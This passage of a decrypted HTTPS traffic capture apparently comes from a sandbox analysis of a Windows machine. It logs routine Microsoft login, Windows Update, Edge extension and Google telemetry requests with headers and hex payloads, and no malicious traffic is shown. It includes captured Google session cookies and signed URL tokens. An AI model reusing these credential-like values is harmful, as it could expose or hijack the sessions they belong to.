2024-07-24 00:39:37 UTC	654	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 24 Jul 2024 00:38:36 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30275.14 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C520_BL2 x-ms-request-id: 1e680ff1-470b-483b-b386-351a08d2b57d PPServer: PPV: 30 H: BL02EPF0001D7F3 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 24 Jul 2024 00:39:36 GMT Connection: close Content-Length: 11370
2024-07-24 00:39:37 UTC	11370	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.4	49840	142.250.80.106	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:36 UTC	448	OUT	POST /chromewebstore/v1.1/items/verify HTTP/1.1 Host: www.googleapis.com Connection: keep-alive Content-Length: 119 Content-Type: application/json Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:36 UTC	119	OUT	Data Raw: 7b 22 68 61 73 68 22 3a 22 33 42 54 39 59 71 4c 67 55 63 62 6b 33 64 45 4d 4e 76 4a 56 67 70 32 46 54 69 46 59 75 4e 44 73 59 46 35 78 46 42 6e 54 55 69 77 3d 22 2c 22 69 64 73 22 3a 5b 22 67 68 62 6d 6e 6e 6a 6f 6f 65 6b 70 6d 6f 65 63 6e 6e 6e 69 6c 6e 6e 62 64 6c 6f 6c 68 6b 68 69 22 5d 2c 22 70 72 6f 74 6f 63 6f 6c 5f 76 65 72 73 69 6f 6e 22 3a 31 7d Data Ascii: {"hash":"3BT9YqLgUcbk3dEMNvJVgp2FTiFYuNDsYF5xFBnTUiw=","ids":["ghbmnnjooekpmoecnnnilnnbdlolhkhi"],"protocol_version":1}
2024-07-24 00:39:37 UTC	341	IN	HTTP/1.1 200 OK Content-Type: application/json; charset=UTF-8 Vary: Origin Vary: X-Origin Vary: Referer Date: Wed, 24 Jul 2024 00:39:37 GMT Server: ESF Content-Length: 483 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-07-24 00:39:37 UTC	483	IN	Data Raw: 7b 0a 20 20 22 70 72 6f 74 6f 63 6f 6c 5f 76 65 72 73 69 6f 6e 22 3a 20 31 2c 0a 20 20 22 73 69 67 6e 61 74 75 72 65 22 3a 20 22 57 44 35 73 6e 4d 42 38 67 69 50 75 6d 64 33 31 43 46 42 53 78 6b 34 62 30 50 61 42 78 62 45 39 36 47 36 2f 2f 50 55 31 6f 30 76 67 45 67 5a 31 78 2b 31 43 61 2b 4d 37 62 59 65 6b 55 44 61 47 71 53 74 70 51 4c 39 4e 50 64 48 6b 45 47 6b 4c 75 2f 49 6e 77 6d 4a 4b 47 42 4d 4b 52 4a 2b 36 71 73 50 43 46 6e 6d 48 4a 2b 41 55 76 50 73 6d 55 50 79 33 68 7a 45 4a 67 61 46 53 5a 61 33 43 56 30 76 36 38 78 4c 4d 54 75 4e 4d 58 44 51 79 37 31 6a 4c 49 4e 48 32 36 75 61 4a 30 74 30 54 79 74 6f 47 70 62 68 59 45 41 36 4a 50 71 4d 46 45 76 2b 47 53 36 2f 59 45 57 32 33 6c 68 78 53 30 7a 47 6e 50 49 4f 32 59 6d 30 34 72 37 6b 43 38 2f 5a 6f Data Ascii: { "protocol_version": 1, "signature": "WD5snMB8giPumd31CFBSxk4b0PaBxbE96G6//PU1o0vgEgZ1x+1Ca+M7bYekUDaGqStpQL9NPdHkEGkLu/InwmJKGBMKRJ+6qsPCFnmHJ+AUvPsmUPy3hzEJgaFSZa3CV0v68xLMTuNMXDQy71jLINH26uaJ0t0TytoGpbhYEA6JPqMFEv+GS6/YEW23lhxS0zGnPIO2Ym04r7kC8/Zo

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	49841	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:37 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
2024-07-24 00:39:37 UTC	4775	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-07-24 00:39:42 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 24 Jul 2024 00:38:38 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C520_BL2 x-ms-request-id: e6b1d826-3bfc-4175-8184-f72802fb238e PPServer: PPV: 30 H: BL02EPF0001D8C9 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 24 Jul 2024 00:39:41 GMT Connection: close Content-Length: 11390
2024-07-24 00:39:42 UTC	11390	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.4	49842	152.195.19.97	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:40 UTC	616	OUT	GET /filestreamingservice/files/bdc392b9-6b81-4aaa-b3ee-2fffd9562edb?P1=1722386362&P2=404&P3=2&P4=FcAs9oxAfHfRNB4CyStL%2fKKxotMQq7EIfofzSA30NAlQgIa6i6AGI4MFQz6radZvxIx3tF8i5oBSnB5uY%2fyGpQ%3d%3d HTTP/1.1 Host: msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com Connection: keep-alive MS-CV: HIIR85MT4C/8p9EpKsWwTM Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:39:40 UTC	632	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1708111 Cache-Control: public, max-age=17280000 Content-Type: application/x-chrome-extension Date: Wed, 24 Jul 2024 00:39:40 GMT Etag: "Gv3jDkaZdFLRHkoq2781zOehQE8=" Last-Modified: Wed, 24 Jan 2024 00:25:37 GMT MS-CorrelationId: b4b4aabf-4d02-4629-96b1-a382405b6a31 MS-CV: 642I+iNy0Qp5KFcIV/sUKh.0 MS-RequestId: 5245ac9e-0afd-43ce-8780-5c7d0bedf1d4 Server: ECAcc (nyd/D11E) X-AspNet-Version: 4.0.30319 X-AspNetMvc-Version: 5.3 X-Cache: HIT X-CCC: US X-CID: 11 X-Powered-By: ASP.NET X-Powered-By: ARR/3.0 X-Powered-By: ASP.NET Content-Length: 11185 Connection: close
2024-07-24 00:39:40 UTC	11185	IN	Data Raw: 43 72 32 34 03 00 00 00 1d 05 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 bb 4e a9 d8 c8 e8 cb ac 89 0d 45 23 09 ef 07 9e ab ed 9a 39 65 ef 75 ea 71 bc a5 c4 56 59 59 ef 8c 08 40 04 2b ed 43 d0 dc 6b a7 4f 88 b9 62 4b d3 60 94 de 36 ee 47 92 ab 25 8a 1e cc 0d fa 33 5a 12 19 8e 65 20 5f fd 36 15 d6 13 1e 46 ae 8b 31 70 18 f1 a8 4b 1d 5a ff de 0e 83 8e 11 b2 2f 20 ed 33 88 cb fb 4f 54 94 9e 60 00 d3 bc 30 ab c0 d7 59 8b b0 96 46 54 fc f0 34 33 1c 74 68 d6 79 f9 0c 8c 7d 8a 91 98 ca 70 c6 4c 0f 1b c8 32 53 b9 26 69 cc 60 09 8d 6f ec f9 a6 66 8d 6f 48 81 0e 05 8a f1 97 4e b8 c3 94 3a b3 f7 69 6a 54 89 33 da 9e 46 7b d1 30 bb 2c cc 66 3f 27 66 e3 43 51 74 3b 62 5f 22 50 63 08 e5 20 Data Ascii: Cr240"0*H0NE#9euqVYY@+CkObK`6G%3Ze _6F1pKZ/ 3OT`0YFT43thy}pL2S&i`ofoHN:ijT3F{0,f?'fCQt;b_"Pc

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.4	49864	40.68.123.157	443

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:58 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=Sx5Zl4sA8wn+Vv+&MD=hgoBhGpR HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-07-24 00:39:59 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: cd951fd9-5e98-4497-bbf0-93f6dc4cfc87 MS-RequestId: c9a03c68-c022-4746-a1c4-272393d13802 MS-CV: ShiMOeYma0W2VSuf.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Wed, 24 Jul 2024 00:39:58 GMT Connection: close Content-Length: 30005
2024-07-24 00:39:59 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-07-24 00:39:59 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.4	49865	142.250.186.142	443	7512	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:39:59 UTC	1274	OUT	POST /log?hasfast=true&authuser=0&format=json HTTP/1.1 Host: play.google.com Connection: keep-alive Content-Length: 1100 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.132" Content-Type: text/plain;charset=UTF-8 sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.132", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.132" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://accounts.google.com X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiUocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=516=HW9VdSmEu877zNk6pR9FCcWx8Ix5dgnNCQRnPxMV_BSrTAztd4S5D7aOCjWTRHjuWQARC712WWHFAmJ9Ts7-oB1SuwAfjrk0O-MlJXRc-YHurTntCm0EC_zVHdfrpyEjM-gq6xpa0Ri-x5_CMMn6lLc0NqUTbL4nGwFPuwAP5zE
2024-07-24 00:39:59 UTC	1100	OUT	Data Raw: 5b 5b 31 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 5b 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 6e 75 6c 6c 2c 22 65 6e 22 2c 6e 75 6c 6c 2c 22 62 6f 71 5f 69 64 65 6e 74 69 74 79 66 72 6f 6e 74 65 6e 64 61 75 74 68 75 69 73 65 72 76 65 72 5f 32 30 32 34 30 37 32 31 2e 30 37 5f 70 30 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 47 6f 6f 67 6c 65 20 43 68 72 6f 6d 65 22 2c 22 31 31 37 22 5d 2c 5b 22 4e 6f 74 3b 41 3d 42 72 61 6e 64 22 2c 22 38 22 5d 2c 5b 22 43 68 72 6f 6d 69 75 6d 22 2c 22 31 31 37 22 5d 5d 2c 30 2c 22 57 69 6e 64 6f 77 73 22 2c 22 31 30 2e 30 2e 30 22 2c 22 78 38 36 22 2c 22 22 2c 22 31 31 37 2e 30 2e 35 39 33 38 2e 31 33 32 22 5d 2c 5b 33 2c 30 2c 30 Data Ascii: [[1,null,null,null,null,null,null,null,null,null,[null,null,null,null,"en",null,"boq_identityfrontendauthuiserver_20240721.07_p0",null,[[["Google Chrome","117"],["Not;A=Brand","8"],["Chromium","117"]],0,"Windows","10.0.0","x86","","117.0.5938.132"],[3,0,0
2024-07-24 00:39:59 UTC	925	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: https://accounts.google.com Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: X-Playlog-Web Set-Cookie: NID=516=gzwg0uqfiQVvC9ugiQ5jiAoP8fm-Ji664qMeeLWybeIVlyp3ISrQiAfjpSPt0HfPrtsvKEH8eYQXwHD9uVnXpwEhiMiu9VEvs_tK5HPmAr4B5O9HElCNlleAaZBGscuc-aC7Rbeo9MFrEMJPMKgTPSCIHod27YIFEC-54n9IRXE; expires=Thu, 23-Jan-2025 00:39:59 GMT; path=/; domain=.google.com; Secure; HttpOnly; SameSite=none P3P: CP="This is not a P3P policy! See g.co/p3phelp for more info." Content-Type: text/plain; charset=UTF-8 Date: Wed, 24 Jul 2024 00:39:59 GMT Server: Playlog Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Expires: Wed, 24 Jul 2024 00:39:59 GMT Connection: close Transfer-Encoding: chunked
2024-07-24 00:39:59 UTC	137	IN	Data Raw: 38 33 0d 0a 5b 22 2d 31 22 2c 6e 75 6c 6c 2c 5b 5b 5b 22 41 4e 44 52 4f 49 44 5f 42 41 43 4b 55 50 22 2c 30 5d 2c 5b 22 42 41 54 54 45 52 59 5f 53 54 41 54 53 22 2c 30 5d 2c 5b 22 53 4d 41 52 54 5f 53 45 54 55 50 22 2c 30 5d 2c 5b 22 54 52 4f 4e 22 2c 30 5d 5d 2c 2d 33 33 33 34 37 33 37 35 39 34 30 32 34 39 37 31 32 32 35 5d 2c 5b 5d 2c 7b 22 31 37 35 32 33 37 33 37 35 22 3a 5b 31 30 30 30 30 5d 7d 5d 0d 0a Data Ascii: 83["-1",null,[[["ANDROID_BACKUP",0],["BATTERY_STATS",0],["SMART_SETUP",0],["TRON",0]],-3334737594024971225],[],{"175237375":[10000]}]
2024-07-24 00:39:59 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	49876	20.190.159.4	443

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:40:13 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4717 Host: login.live.com
2024-07-24 00:40:13 UTC	4717	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-07-24 00:40:14 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Wed, 24 Jul 2024 00:39:13 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C520_BL2 x-ms-request-id: a9d156e7-a609-4868-a96c-731c122d5029 PPServer: PPV: 30 H: BL02EPF0001D7FB V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Wed, 24 Jul 2024 00:40:13 GMT Connection: close Content-Length: 10921
2024-07-24 00:40:14 UTC	10921	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.4	49894	23.40.179.37	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-24 00:40:22 UTC	442	OUT	OPTIONS /api/report?cat=bingbusiness HTTP/1.1 Host: bzib.nelreports.net Connection: keep-alive Origin: https://business.bing.com Access-Control-Request-Method: POST Access-Control-Request-Headers: content-type User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-07-24 00:40:22 UTC	360	IN	HTTP/1.1 200 OK Content-Length: 0 Access-Control-Allow-Headers: content-type Date: Wed, 24 Jul 2024 00:40:22 GMT Connection: close PMUSER_FORMAT_QS: X-CDN-TraceId: 0.25b22817.1721781622.3a9f313 Access-Control-Allow-Credentials: false Access-Control-Allow-Methods: * Access-Control-Allow-Methods: GET, OPTIONS, POST Access-Control-Allow-Origin: *

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.4	49895	23.40.179.37	443	8396	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
